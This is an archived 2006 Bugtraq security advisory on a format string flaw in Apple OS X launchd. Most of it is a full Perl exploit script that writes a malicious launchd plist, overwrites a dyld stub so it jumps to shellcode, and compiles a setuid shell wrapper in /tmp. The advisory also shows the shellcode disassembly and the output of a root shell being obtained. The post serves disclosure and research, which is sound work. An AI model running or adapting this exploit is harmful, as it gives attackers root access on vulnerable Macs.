DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'
From: "K F (lists)" <kf_lists@xxxxxxxxxxxxxxxxxxx>
Date: Wed, 28 Jun 2006 22:47:50 -0400
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
User-agent: Thunderbird 1.5.0.4 (Macintosh/20060516)

You couldn't be more wrong if you called it a Canadian Goose!

-KF

#!/usr/bin/perl
# http://www.digitalmunition.com/FailureToLaunch.pl 
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This is a practical application of Non Executable Stack Lovin - 
http://www.digitalmunition.com/NonExecutableLovin.txt
#
# This code currently jumps into 0x1811111 via dyld_stub_close()
#
# This exploit will create a malicious .plist file for you to use with launchctl
# k-fs-computer:~ kf$ launchctl load ./com.pwnage.plist
#
# In theory I guess you could also drop this in ~/Library/LaunchAgents 
#
# This was tested against OSX 10.4.6 8l1119 on a 1.5GHz Intel Core Solo
# 
# k-fs-computer:~ kf$ ls -al /sbin/launchd
# -rwsr-sr-x   1 root  wheel  161944 Feb 19 04:46 /sbin/launchd
# k-fs-computer:~ kf$ file /sbin/launchd
# /sbin/launchd: setuid setgid Mach-O universal binary with 2 architectures
# /sbin/launchd (for architecture i386):  Mach-O executable i386
# /sbin/launchd (for architecture ppc):   Mach-O executable ppc
#
# ./src/SystemStarter.c:374:              syslog(level, buf);
# proactive security eh? 

foreach $key (keys %ENV) {

    delete $ENV{$key};

}

$writeaddr = 0xa0011163;  # close()
#$writeaddr = 0xa00119f1;  # cxa_finalize() (must wait 25 seconds or so if you 
use this one)

$sc = (0x1811111);  

# both of these arrays are put in size order due to the multiple writes via 
unformatted syslog() call

# seteuid after thought... whoops...I had to move some shit arround to account 
for this
@seteuid =
([$sc+2,  $sc+4,  $sc,    $sc+6],
 [0x5050, 0xb7b0, 0xc031, 0x80cd], );

# Write the following instructions to 0xa0011163 <dyld_stub_close> as well as 
nemos execve() to 0x1811111
# mov    $0x1811111,%eax
# jmp    *%eax
# 
@payload =
([$writeaddr+6, $writeaddr, $sc+12, $sc+16, $sc+28, $sc+22, $sc+26, $sc+24, 
$sc+10, $sc+14, $sc+18, $sc+30, $writeaddr+2, $sc+20, $sc+8, $writeaddr+4],    
# 0
 [0x00e0, 0x11b8, 0x2f2f, 0x2f68, 0x3bb0, 0x50e3, 0x5353, 0x5454, 0x6850, 
0x6873, 0x6d74, 0x80cd, 0x8111, 0x8970, 0xc031, 0xff01], ); 

$ENV{"TERM_PROGRAM"} = "." . 
# string of write address 
pack('l', $payload[0][0]) . pack('l', $payload[0][1]) . pack('l', 
$payload[0][2]) . pack('l', $payload[0][3]) . pack('l', $payload[0][4]) . 
pack('l', $payload[0][5]) . pack('l', $payload[0][6]) . pack('l', 
$payload[0][7]) . pack('l', $payload[0][8]) . pack('l', $payload[0][9]) . 
pack('l', $payload[0][10]) . pack('l', $payload[0][11]) . pack('l', 
$payload[0][12]) . pack('l', $payload[0][13]) . pack('l', $payload[0][14]) . 
pack('l', $payload[0][15]) . pack('l', $seteuid[0][0]) . pack('l', 
$seteuid[0][1]) . pack('l', $seteuid[0][2]) . pack('l', $seteuid[0][3]) ; 

# lazy non looped length calculations
$pay1  = $payload[1][0];
$pay2  = ($payload[1][1] - $pay1 - 0x1 ); 
$pay3  = ($payload[1][2] - $pay1 - $pay2 - 0x1); 
$pay4  = ($payload[1][3] - $pay1 - $pay2 - $pay3 - 0x1); 
$pay5  = ($payload[1][4] - $pay1 - $pay2 - $pay3 - $pay4 - 0x1); 
$pay6  = ($payload[1][5] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - 0x1); 
$pay7  = ($payload[1][6] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
0x1); 
$pay8  = ($payload[1][7] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - 0x1); 
$pay9  = ($payload[1][8] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - 0x1); 
$pay10 = ($payload[1][9] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - 0x1); 
$pay11 = ($payload[1][10] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - 0x1); 
$pay12 = ($payload[1][11] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - $pay11 - 0x1); 
$pay13 = ($payload[1][12] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - 0x2); 
$pay14 = ($payload[1][13] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - 0x2); 
$pay15 = ($payload[1][14] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - $pay14 - 0x2); 
$pay16 = ($payload[1][15] - $pay1 - $pay2 - $pay3 - $pay4 - $pay5 - $pay6 - 
$pay7 - $pay8 - $pay9 - $pay10 - $pay11 - $pay12 - $pay13 - $pay14 - $pay15 - 
0x3); 
# seems I forgot the seteuid(0) 
$pay17 =  0xff + $seteuid[1][0];  
$pay18 = 0xff + ($seteuid[1][1] - $pay17); 
$pay19 = 0xff + ($seteuid[1][2] - $pay17 - $pay18  )  ; 
$pay20 = 0xff + ($seteuid[1][3] - $pay17 - $pay18 - $pay19 - 0x7ec8 - 0x270) ;  
 # Something is fucking this write up... subtracting 0x8138 seems to help 

# The offset is off by 6 if you are trying to debug this in gdb
$format = 
"%." . $pay1 . "d" . "%246\$hn" .
"%." . $pay2 . "d" . "%247\$hn" .
"%." . $pay3 . "d" . "%248\$hn" .
"%." . $pay4 . "d" . "%249\$hn" .
"%." . $pay5 . "d" . "%250\$hn" .
"%." . $pay6 . "d" . "%251\$hn" .
"%." . $pay7 . "d" . "%252\$hn" .
"%." . $pay8 . "d" . "%253\$hn" .
"%." . $pay9 . "d" . "%254\$hn" .
"%." . $pay10 . "d" . "%255\$hn" .
"%." . $pay11 . "d" . "%256\$hn" .
"%." . $pay12 . "d" . "%257\$hn" . 
"%." . $pay13 . "d" . "%258\$hn" .
"%." . $pay14 . "d" . "%259\$hn" .
"%." . $pay15 . "d" . "%260\$hn" .
"%." . $pay16 . "d" . "%261\$hn" .
"%." . $pay17 . "d" . "%262\$hn" .
"%." . $pay18 . "d" . "%263\$hn" .
"%." . $pay19 . "d" . "%264\$hn" .
"%." . $pay20 . "d" . "%265\$hn" ;

open(SUSH,">/tmp/aaa.c");
printf SUSH "int main(){setuid(0);setgid(0);system(\"/bin/sh\");}\n";
system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");

open(PWNED,">com.pwnage.plist");   

print PWNED "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" 
\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\";>
<plist version=\"1.0\">
<dict>
        <key>Label</key>
        <string>" . "$format" .
        "</string>
        <key>ProgramArguments</key>
        <array>
                <string>http://www.digitalmunition.com</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>\n";

print "open a new window and type - \"launchctl load ./com.pwnage.plist\"\n";
system("/sbin/launchd");

DMA[2006-0628a] - 'Apple OSX launchd unformatted syslog() vulnerability'
Author: Kevin Finisterre
Vendor: http://www.apple.com/
Product: 'Mac OSX <=10.4.6'
References: 
http://www.digitalmunition.com/NonExecutableLovin.txt
http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz
http://www.digitalmunition.com/DMA[2006-0628a].txt
http://www.apple.com/support/downloads/macosxupdate1047intel.html

Description:
In Mac OS X v10.4 Tiger, Apple introduced a new system startup program called 
launchd. The launchd daemon takes 
over many tasks from cron, xinetd, mach_init, and init, which are UNIX programs 
that traditionally have handled 
system initialization, called systems scripts, run startup items, and generally 
prepared the system for the user.

The following chunk of code provides a facility for launchd to send messages to 
the syslog daemon. For some reason 
a blatantly obvious format string issue has remained in the codebase since it 
was originally created. In the 
snippet below you can see that syslog() is called without a format specifier. 

void
CF_syslog(int level, CFStringRef message,...)
{
        char            buf[8192];
        CFStringRef     cooked_msg;
        va_list         ap;
 
        va_start(ap, message);
        cooked_msg = CFStringCreateWithFormatAndArguments(NULL, NULL, message, 
ap);
        va_end(ap);

        if (CFStringGetCString(cooked_msg, buf, sizeof(buf), 
kCFStringEncodingUTF8))
                syslog(level, buf);

        CFRelease(cooked_msg);
}

Because of this error it is possible to call CF_syslog() with user supplied 
data that will in turn be passed to an 
unformatted syslog() call. With the aid of a malformed plist file we can 
demonstrate the issue quite easily. 

k-fs-ibook:~/Library/LaunchAgents kf$ cat com.formatstring.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" 
"http://www.apple.com/DTDs/PropertyList-1.0.dtd";>
<plist version="1.0">
<dict>
       <key>Label</key>
       <string>AAAA.%x.%x.%x.%x</string>
       <key>ProgramArguments</key>
       <array>
               <string>pwnedertino</string>
       </array>
       <key>RunAtLoad</key>
       <true/>
</dict>
</plist>

k-fs-ibook:~/Library/LaunchAgents kf$ launchctl load -w  
./com.formatstring.plist
k-fs-ibook:~/Library/LaunchAgents kf$ launchd[1511]: AAAA.bffffc20.1.0.357b: 
execve(): No such file or directory

The paper 'Non eXecutable Stack Lovin on OSX86' was written during my early 
attempts at exploiting /sbin/launchd. 
The technique used below is identical to what was outlined in the paper. In our 
exploit we overwrite the dyld_stub 
for close() and point it at the heap where we have placed shellcode to call 
seteuid(0) and then to execve() /tmp/sh. 
Since /bin/sh drops privs a simple wrapper is used to take full blown root. 

(gdb) x/2i dyld_stub_close
0xa0011163 <dyld_stub_close>:   mov    $0x1811111,%eax
0xa0011168 <dyld_stub_strcmp>:  jmp    *%eax

(gdb) x/17i 0x1811111
Launchd makes multiple calls to both seteuid(getuid()) and seteuid(0)... thanks 
for saving a lil root lovin for me. 
0x1811111:      xor    %eax,%eax
0x1811113:      push   %eax
0x1811114:      push   %eax
0x1811115:      mov    $0xb7,%al
0x1811117:      int    $0x80

This is just nemos execve() using /tmp/sh.
0x1811119:      xor    %eax,%eax
0x181111b:      push   %eax
0x181111c:      push   $0x68732f2f
0x1811121:      push   $0x706d742f
0x1811126:      mov    %esp,%ebx
0x1811128:      push   %eax
0x1811129:      push   %esp
0x181112a:      push   %esp
0x181112b:      push   %ebx
0x181112c:      push   %ebx
0x181112d:      mov    $0x3b,%al
0x181112f:      int    $0x80

After everything is layed out properly we can kick back and enjoy our root 
shell ala 
http://www.digitalmunition.com/FailureToLaunch.pl

k-fs-computer:~ kf$ ./FailureToLaunch.pl 
open a new window and type - "launchctl load ./com.pwnage.plist"
launchd[5509]: 
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000-000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
...
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)


Work Around: 
Install 10.4.7 update
http://www.apple.com/support/downloads/

Prev by Date: [KAPDA]http://myimei.com/security/2006-06-24/mybb104archive-modelight-parameter-extractionvarable-overwriting.html
Next by Date: [ GLSA 200606-29 ] Tikiwiki: SQL injection and multiple XSS vulnerabilities
Previous by thread: [KAPDA]http://myimei.com/security/2006-06-24/mybb104archive-modelight-parameter-extractionvarable-overwriting.html
Next by thread: [ GLSA 200606-29 ] Tikiwiki: SQL injection and multiple XSS vulnerabilities
Index(es):
- Date
- Thread